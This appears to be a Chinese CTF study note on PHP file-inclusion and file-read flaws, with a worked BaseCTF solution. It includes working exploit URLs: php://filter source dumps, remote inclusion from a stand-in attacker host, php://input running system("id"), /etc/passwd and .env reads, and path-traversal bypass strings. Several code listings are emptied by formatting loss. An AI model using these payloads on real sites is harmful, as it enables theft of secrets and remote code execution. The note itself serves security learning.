路径规范化
1 | ./..//..//secret.txt |
多试试看,总会成功的
怎么检验存在文件包含:
看看是否存在这些函数
这些函数会将目标文件内容作为PHP代码执行,是最高危的漏洞入口:
1.执行文件函数
(1) include()
风险:包含并执行指定文件,文件不存在时仅警告。
示例漏洞代码:
1
2$file = $_GET['file'];
include($file); // 用户可控参数直接传递利用方式:
1
2http://target.com/?file=php://filter/convert.base64-encode/resource=config.php
http://target.com/?file=http://attacker.com/shell.txt
(2) include_once()
- 行为:与
include()相同,但确保文件只被包含一次。 - 漏洞利用:同
include()。
(3) require()
风险:与
include()类似,但文件不存在时会引发致命错误。示例漏洞代码:
1
require($_POST['module'] . '.php');
利用方式:
1
2POST数据:module=php://input
Body内容:<?php system("id"); ?>
(4) require_once()
- 行为:与
require()相同,但确保文件只被包含一次。 - 漏洞利用:同
require()。
2. 读取文件内容的函数(可能导致敏感信息泄露)
这些函数会读取文件内容但不会直接执行代码,若返回内容被输出到页面,可引发敏感信息泄露:
(1) file_get_contents()
风险:读取文件内容并返回字符串。
示例漏洞代码:
1
2$config = file_get_contents($_GET['path']);
echo $config;利用方式:
1
2http://target.com/?path=/etc/passwd
http://target.com/?path=php://filter/convert.base64-encode/resource=index.php
(2) file()
- 行为:将文件内容读取到数组中。
- 漏洞利用:同
file_get_contents()。
(3) readfile()
风险:直接输出文件内容到输出缓冲区。
示例漏洞代码:
1
2$file = $_GET['file'];
readfile($file); // 直接输出文件内容利用方式:
1
http://target.com/?file=../../.env
(4) highlight_file() / show_source()
行为:语法高亮显示PHP文件源码。
漏洞利用:
1
http://target.com/?file=flag.php
流程:(以catctf的catcat-new为例子)
1.查看是否存在读取文件的行为:

2.尝试读取/etc/passwd
要学会使用../../../………………来慢慢的找出是否可以读取/etc/passwd

3.知晓要读取什么:

eg:

4.知晓网站是由什么编写的:
使用工具Wappalyzer
如果是py看看能不能SSTI
路径规范化
1 | ....//./....//./....//./ |
1 | ..././..././.../ |
例题:
1.BaseCTF2024新生赛Aura酱的礼物
考察什么?
ping绕过,伪协议的利用,@绕过
源码:
1 |
|
1 | // 以语法高亮的形式输出当前PHP文件的源代码,通常用于调试或展示代码结构 |
1.伪协议利用:
以后看见文件读取一定要记得伪协议!!!!!
使用伪协议输入Aura
1 | pen=data://text/plain,Aura |
2.@绕过
1 | 代码错误地检查了 PHP_URL_USER(用户信息部分)而非 PHP_URL_HOST(主机名)、 |
这里**@把前面的代码当作了user了**
最终payload:
1 | pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php |
2.XYctf签到:
考察点:路径规范化